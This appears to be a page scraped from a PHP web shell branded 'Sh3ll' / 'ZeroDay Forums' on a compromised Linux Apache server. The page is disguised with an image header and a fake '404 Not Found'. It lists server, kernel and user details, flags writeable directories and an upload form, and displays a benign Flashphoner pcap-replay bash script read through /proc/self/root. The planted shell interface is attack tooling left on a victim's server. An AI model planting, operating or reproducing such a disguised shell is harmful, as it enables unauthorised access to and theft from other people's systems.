����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/usr/local/FlashphonerWebCallServer/tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/local/FlashphonerWebCallServer/tools/pcap_tool.sh
#!/bin/bash

#------------------------------------------------------------------------------------
# [HELP]:
# pcap_tool.sh --f [fileName] [options]
#
# Oprions:
# 	--url - set URL to server, default: rtmp://localhost:1935/live/testStream;
# 	-v - set verbose (-v, -vv, -vvv), default: -v;
# 	-d - enable debug, default: disable;
# 	--h - help.
#
# Example: pcap_tool.sh tcpdump.pcap --url rtmp://localhost:1935/live/testStream -vv
# *.pcap file should not have handshakes and connect()
#------------------------------------------------------------------------------------

WCS_ENV_CONFIG="/usr/local/FlashphonerWebCallServer/bin/setenv.sh"
. "$WCS_ENV_CONFIG"

serverUri="rtmp://localhost:1935/live/testStream"	#Url to server, default=rtmp://localhost:1935/live
verbose=1
debug=false
h='echo -e [HELP]: \n\n
'$0' --f [fileName] [options]\n\n
Oprions:\n
\t--url - set URL to server, default: rtmp://localhost:1935/live/testStream;\n
\t-v - set verbose (-v, -vv, -vvv), default: -v;\n
\t-d - enable debug, default: disable;\n
\t--h - help.\n\n
Example: '$0' tcpdump.pcap --url rtmp://localhost:1935/live/testStream -vv\n
*pcap-file should not have handshakes and connect()'

while [ -n "$1" ]
do
case "$1" in
--f) fileName="$2"
shift;;
--url) serverUri="$2"
shift;;
-v) verbose=1;;
-vv) verbose=2;;
-vvv) verbose=3;;
-d) debug=true;;
--h) $h
exit 1;;
*) echo "[ERROR] - $1 is not an option"
$h
exit 1;;
esac
shift
done

if [ -z "$fileName"] 
then
echo [ERROR] - fileName is empty\!
$h
exit 1
fi

java -Dcom.flashphoner.fms.AppHome="$WCS_APP_HOME" -classpath "$WCS_APP_HOME/lib/*" com.flashphoner.tools.pcap.PcapRtmpTool ${fileName} ${serverUri} ${verbose} ${debug}

exit 0

ZeroDay Forums Mini